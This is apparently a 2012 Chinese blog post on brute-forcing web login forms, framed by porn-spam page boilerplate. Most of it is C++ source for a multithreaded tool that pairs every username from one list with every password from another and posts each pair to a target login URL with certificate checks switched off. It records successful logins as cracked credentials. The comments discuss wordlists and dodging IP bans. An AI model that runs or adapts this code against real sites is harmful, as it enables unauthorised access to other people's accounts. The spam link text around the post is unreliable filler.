青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

公子周

                         --不亂于心,不困于情
隨筆 - 3, 文章 - 0, 評(píng)論 - 5, 引用 - 0
數(shù)據(jù)加載中……

暴力破解Web表單


圖為我的思考方式:

SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
        FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
    curl_global_init(CURL_GLOBAL_ALL); 
    SYSTEM_INFO info;//根據(jù)CPU生成線程數(shù)
    GetSystemInfo(&info);
    vector<string> user(istream_iterator<string>(ifstream(userfilename.c_str())),istream_iterator<string>());
    vector<string> pass(istream_iterator<string>(ifstream(passwordfilename.c_str())),istream_iterator<string>());
    fstream filed(headerfilename);
    while (!filed.eof())
    {    
        char temp[4096]="";
        filed.getline(temp,4096);
        vecheader1.push_back(temp);
    }
    filed.close();
    CWork::readpostdata(m_postdata);
    CWork::readkeyword(keyword);
    CWork::readurl(url);


    vector<UserPass> obj_userpass;
    for(size_t i=0;i!=user.size();i++)
    {
        for(size_t j=0;j!=pass.size();j++)
        {
            UserPass temp;
            temp.user=user[i];
            temp.pass=pass[j];
            obj_userpass.push_back(temp);
        }
    }

    string console_title;
    CWork::maketitle(console_title,"帳號(hào)數(shù)量:",user.size());
    CWork::maketitle(console_title,"密碼數(shù)量:",pass.size());
    CWork::maketitle(console_title,"共計(jì)次數(shù):",obj_userpass.size());
    wstring w_console_title=CWork::s2ws(console_title);
    SetConsoleTitle(w_console_title.c_str());

    user.clear();
    pass.clear();

    ////////////////////////生成測(cè)試數(shù)據(jù)////////////////////////
    if(obj_userpass.size()>=1)
    {
        pull_one_url(obj_userpass[0]);
        ofstream out("第一次數(shù)據(jù)測(cè)試.txt",ios::app);
        out<<sz_head<<endl<<endl;
        out<<"--------分割性-----------"<<endl;
        out<<sz_html<<endl;
        out.close();
    }
    ////////////////////////為了觀察一下關(guān)鍵字,到底應(yīng)該設(shè)置什么////////////////////////

    int thread_num=info.dwNumberOfProcessors*2;
    long current_pos=1;
    long result=0;
    int num_total=obj_userpass.size();
    console_title+="已發(fā)送:";

    while (1)
    {
        if (obj_userpass.size()<current_pos)
        {
            break;
        }
        vector<UserPass> obj;
        CWork::allocateUserPass(obj,obj_userpass,current_pos,thread_num);
        stringstream strStream;
        strStream<<result;
        string new_tile=console_title;
        new_tile+=strStream.str();
        if (szCount!=0)
        {
            new_tile+="  已成功破解:";
            stringstream strStream1;
            strStream1<<szCount;
            new_tile+=strStream1.str();
        }
        wstring w_console_title=CWork::s2ws(new_tile);
        SetConsoleTitle(w_console_title.c_str());
        thread_group threads;
        int obj_num=obj.size();
        for (int i = 0; i!=obj_num; ++ i) {
            result++;
            threads.create_thread(boost::bind(&pull_one_url,obj[i]));
        }
        threads.join_all();

    }
    cout<<"所有密碼全部查找完成"<<endl;
    curl_global_cleanup();
void pull_one_url(UserPass obj)
{
    bool m_true=true;
    transform(keyword.begin(), keyword.end(), keyword.begin(), ::tolower);//所有html代碼,轉(zhuǎn)化為小寫(xiě)
    while(m_true)
    {
        string dddddd=m_postdata;
        if(dddddd.empty())
        {
            cout<<"postdata中數(shù)據(jù)為空,線程馬上退出"<<endl;
            return;
        }
        if (url.empty()||url=="")
        {
            cout<<"attackurl.txt不存在,或url地址為空"<<endl;
            return;
        }


        
        
            CURL *curl = curl_easy_init();
            string m_url=url;

            string header;
            string html;


            struct curl_slist *slist_header = NULL;
            for (int i=0;i!=vecheader1.size();i++)
            {
                slist_header = curl_slist_append(slist_header,vecheader1[i].c_str());
            }
            curl_easy_setopt(curl, CURLOPT_HTTPHEADER, slist_header);
            //連接服務(wù)器和發(fā)送請(qǐng)求的超時(shí)設(shè)置,單位是毫秒
            curl_easy_setopt(curl, CURLOPT_POST, 1);  
            //curl_easy_setopt(curl,CURLOPT_FOLLOWLOCATION,1);
            curl_easy_setopt(curl,CURLOPT_TIMEOUT_MS,10000);
            curl_easy_setopt(curl,CURLOPT_CONNECTTIMEOUT_MS,10000);
            curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1);
            curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
            if(m_url.substr(0,5)=="https")
            {
                curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
                curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
            }
            curl_easy_setopt(curl, CURLOPT_DNS_CACHE_TIMEOUT, 10000); 
            curl_easy_setopt(curl, CURLOPT_TIMEOUT, 6000);
            //curl_easy_setopt(curl, CURLOPT_VERBOSE,1);
            curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, html_write_data); 


            CWork::replace(dddddd,"{0%}",obj.user.c_str());
            CWork::replace(dddddd,"{1%}",obj.pass.c_str());

            curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, dddddd.length());     // Content-Length:
            curl_easy_setopt(curl,CURLOPT_POSTFIELDS,dddddd.c_str());  //post提交的數(shù)據(jù)
            curl_easy_setopt(curl, CURLOPT_WRITEDATA, &html);
            curl_easy_setopt(curl, CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0");
            curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, header_write_data); 
            curl_easy_setopt(curl, CURLOPT_WRITEHEADER, &header);

            curl_easy_perform(curl); /* ignores error */ 
            //curl_easy_getinfo(curl,CURLINFO_SIZE_DOWNLOAD,&html_num);//返回的html文件大小
            long   http_code=0;
            curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);
            //curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &m_time);//總耗時(shí)
            
//curl_easy_getinfo(curl,CURLINFO_CONNECT_TIME, &connect_time);//連接時(shí)間
            
//curl_easy_getinfo(curl,CURLINFO_NAMELOOKUP_TIME, &datatime);//dns查詢時(shí)間
            
//curl_easy_getinfo(curl, CURLINFO_PRIMARY_IP, &IP);//ip地址

            
//CURLINFO_PRETRANSFER_TIME:從建立連接到準(zhǔn)備傳輸所使用的時(shí)間;
            
//CURLINFO_STARTTRANSFER_TIME:從建立連接到傳輸開(kāi)始所使用的時(shí)間;
            
//ptime now2 = microsec_clock::universal_time() + hours(8);
            
//boost::posix_time::millisec_posix_time_system_config::time_duration_type time_elapse = now2 - now1;  
            transform(header.begin(), header.end(), header.begin(), ::tolower);//所有html代碼,轉(zhuǎn)化為小寫(xiě)
            transform(html.begin(), html.end(), html.begin(), ::tolower);//所有html代碼,轉(zhuǎn)化為小寫(xiě)
            
//在這里對(duì)html代碼進(jìn)行轉(zhuǎn)碼,如果是utf8就轉(zhuǎn)gb2312
            if(header.find("utf")!=-1)
            {
                string gb2312html;
                CWork::Utf8ToGb2312(html.c_str(),gb2312html);
                html=gb2312html;
            }

            if (http_code==200||http_code==302)
            {
                if (html.find(keyword)==-1)
                {
                    szCount++;
                    boost::mutex::scoped_lock lock(io_mutex);
                    ofstream out(result,ios::app);
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_GREEN);
                    out<<"恭喜!!!  用戶名:"<<obj.user<<"    密碼:"<<obj.pass<<endl;
                    cout<<"http狀態(tài)"<<http_code<<"密碼破解成功1個(gè)    username:"<<obj.user<<"    password:"<<obj.pass<<endl;            
                    out.close();
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                        FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
                }
                else
                {
                    boost::mutex::scoped_lock lock(io_mutex);
                    cout<<"密碼錯(cuò)誤"<<" 線程ID: "<<boost::this_thread::get_id()<<" http_code:"<<setw(3)<<http_code<<" 用戶名:"<<obj.user<<" 密碼:"<<obj.pass<<endl;
                }
            }
            else
            {
                if(http_code==0)
                {
                    boost::mutex::scoped_lock lock(io_mutex);
                    cout<<"超時(shí)馬上重新連接"<<"用戶名:"<<obj.user<<" 密碼:"<<obj.pass<<endl;
                    curl_easy_cleanup(curl);
                    continue;
                }
                boost::mutex::scoped_lock lock(io_mutex);
                cout<<"密碼錯(cuò)誤"<<" 線程ID: "<<boost::this_thread::get_id()<<" http_code:"<<http_code<<" 用戶名:"<<obj.user<<" 密碼:"<<obj.pass<<endl;
            }
            m_true=false;
            curl_easy_cleanup(curl);

            
            sz_html=html;
            sz_head=header;
        }


}

posted on 2012-07-09 18:07 公子周 閱讀(2941) 評(píng)論(4)  編輯 收藏 引用 所屬分類: 暴力破解

評(píng)論

# re: 暴力破解Web表單[未登錄](méi)  回復(fù)  更多評(píng)論   

如何設(shè)計(jì)用戶名、密碼本?或者說(shuō)如何獲得良好的這種本?
2012-07-10 08:55 | alex

# re: 暴力破解Web表單  回復(fù)  更多評(píng)論   

難道人家不會(huì)封IP?

你這IP頻繁登錄,肯定被封?

然后又代理?

然后又封代理的IP

哈...

找到網(wǎng)站的漏洞,直接rush
2012-07-10 11:52 | 13174115

# re: 暴力破解Web表單  回復(fù)  更多評(píng)論   

@alex

如何設(shè)計(jì)用戶名、密碼本?或者說(shuō)如何獲得良好的這種本?


post登陸的時(shí)候,是一個(gè)form表單,數(shù)據(jù)格式,先通過(guò)其它工具,如firefox查看,然后,得到下來(lái),把用戶名和密碼,的位置替換成我的變量。寫(xiě)入文件中。

程序會(huì)根據(jù)我設(shè)置的用戶名和密碼,替換
post提交的數(shù)據(jù)。
2012-07-10 21:10 | 公子周

# re: 暴力破解Web表單  回復(fù)  更多評(píng)論   

沒(méi)有驗(yàn)證碼嗎?
2012-07-13 20:54 |

只有注冊(cè)用戶登錄后才能發(fā)表評(píng)論。
網(wǎng)站導(dǎo)航: 博客園   IT新聞   BlogJava   博問(wèn)   Chat2DB   管理


青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            日韩午夜激情av| 亚洲精品一区在线观看| 在线视频你懂得一区| 欧美不卡视频一区| 久久色在线播放| 久久久噜噜噜久久中文字免| 亚洲美女网站| 亚洲一区二区三区免费观看 | 夜夜嗨一区二区| 久久中文久久字幕| 久久综合色婷婷| 欧美韩国在线| 欧美日韩午夜| 国产精品s色| 国产精品美女www爽爽爽| 国产精品一卡二| 国语自产精品视频在线看8查询8| 欧美日韩免费区域视频在线观看| 亚洲精品综合在线| 欧美mv日韩mv亚洲| 一区二区视频免费完整版观看| 亚洲国产你懂的| 亚洲一区二区成人| 国产精品区一区二区三区| 久久精品视频在线| 欧美吻胸吃奶大尺度电影| 夜夜嗨一区二区三区| 亚洲人成亚洲人成在线观看图片| 在线视频你懂得一区 | 久久高清免费观看| 亚洲欧美日韩区| 国模套图日韩精品一区二区| 伊人蜜桃色噜噜激情综合| 日韩午夜一区| 久久亚洲欧美| 亚洲天堂成人| 欧美电影在线播放| 国内成人精品视频| 中文在线不卡| 欧美国产另类| 亚洲欧美日韩在线高清直播| 欧美激情亚洲视频| 韩国久久久久| 欧美一区二区三区视频免费播放| 最新国产精品拍自在线播放| 欧美中文在线观看国产| 国产精品久久久久久av福利软件| 亚洲精品在线一区二区| 蜜臀久久99精品久久久画质超高清| 一区二区毛片| 欧美 日韩 国产在线| 国产欧美日韩综合一区在线观看| 亚洲免费观看高清完整版在线观看熊 | 日韩视频在线你懂得| 久久综合导航| 国产三级欧美三级| 午夜精品久久久久久久白皮肤 | aa级大片欧美三级| 免费短视频成人日韩| 国产精品美腿一区在线看| 亚洲国产精品第一区二区三区| 久久久精品一区| 欧美区一区二区三区| 久久精选视频| 国产精品户外野外| 久久男人资源视频| 久久久欧美一区二区| 亚洲欧洲一区二区天堂久久| 国产精品毛片a∨一区二区三区|国| 亚洲一区二区三区四区中文| 一区二区亚洲精品国产| 亚洲综合第一页| 伊人精品成人久久综合软件| 亚洲电影免费观看高清完整版在线观看 | 国产三区二区一区久久| 亚洲欧美日韩中文在线制服| 亚洲一区二区在线免费观看视频 | 香港久久久电影| 欧美婷婷久久| 午夜精品美女自拍福到在线| 一本色道久久综合狠狠躁篇怎么玩| 欧美丝袜第一区| 久久se精品一区精品二区| 欧美专区福利在线| 91久久黄色| av不卡在线观看| 国产三级欧美三级| 亚洲黄色成人久久久| 国产精品九色蝌蚪自拍| 久久精品国产77777蜜臀| 久久久久国产精品麻豆ai换脸| 亚洲电影观看| 国产精品99免视看9| 欧美综合77777色婷婷| 久久婷婷人人澡人人喊人人爽| 亚洲啪啪91| 亚洲自拍三区| 亚洲人成人99网站| 亚洲午夜视频在线观看| 在线观看视频一区二区欧美日韩| 亚洲欧洲一区二区在线观看| 国产精品一区二区三区久久久 | 亚洲电影免费| 国产精品日韩欧美一区| 麻豆乱码国产一区二区三区| 欧美伦理91| 理论片一区二区在线| 欧美视频在线不卡| 亚洲第一色中文字幕| 国产欧美韩日| 老司机亚洲精品| 欧美猛交免费看| 久久人人爽人人爽| 欧美亚一区二区| 欧美丰满高潮xxxx喷水动漫| 国产精品嫩草99a| 欧美激情网站在线观看| 国产在线一区二区三区四区| 一区二区三区欧美| 99伊人成综合| 免费毛片一区二区三区久久久| 久久精品人人爽| 国产精品久久久久77777| 亚洲电影观看| 亚洲人成在线免费观看| 久久久久免费| 开元免费观看欧美电视剧网站| 国产精品午夜电影| 夜夜狂射影院欧美极品| 一本色道久久加勒比88综合| 欧美成人免费全部观看天天性色| 久久中文字幕导航| 国产在线精品自拍| 先锋影院在线亚洲| 久久精品成人| 国产在线播放一区二区三区| 亚洲专区免费| 欧美伊人久久| 国产日韩欧美不卡| 欧美亚洲午夜视频在线观看| 欧美在线视频免费观看| 国产欧美精品国产国产专区| 亚洲欧美日韩天堂一区二区| 亚洲专区一区二区三区| 欧美视频一区| 中文久久精品| 欧美亚洲一区| 亚洲国产精品一区在线观看不卡| 亚洲破处大片| 一区二区三区欧美激情| 欧美日韩亚洲另类| 亚洲一区二区3| 久久亚洲春色中文字幕久久久| 亚洲成人原创| 欧美精品亚洲二区| 欧美亚洲视频一区二区| 亚洲欧美日韩人成在线播放| 香蕉久久夜色精品国产| 国产精品视频午夜| 久久久久成人精品免费播放动漫| 欧美大色视频| 亚洲午夜视频在线观看| 国产欧美韩日| 免费在线观看一区二区| 亚洲九九精品| 欧美自拍偷拍| 日韩写真视频在线观看| 国产精品一区二区你懂得| 久久久国产精品一区二区中文| 亚洲国产精品日韩| 午夜精品久久久久久久久久久| 国内精品久久久久久| 欧美.日韩.国产.一区.二区| 亚洲精一区二区三区| 久久精品国产综合精品| 亚洲理伦电影| 国产综合久久| 欧美久久久久免费| 欧美一区二区三区另类| 亚洲欧洲中文日韩久久av乱码| 午夜精品视频| 亚洲国产精品久久久久婷婷老年| 国产精品99一区| 蜜臀久久99精品久久久久久9| 亚洲视频一区在线| 亚洲国产一区二区视频| 久久久精品国产免大香伊| 国产日韩在线播放| 欧美激情第一页xxx| 欧美在线|欧美| 一区二区三区免费看| 亚洲高清视频一区| 久久免费视频在线观看| 亚洲系列中文字幕| 亚洲精品免费一区二区三区| 国产一区二区三区日韩| 国产精品久久久久高潮| 欧美极品一区| 免费成人在线观看视频| 久久精品视频亚洲|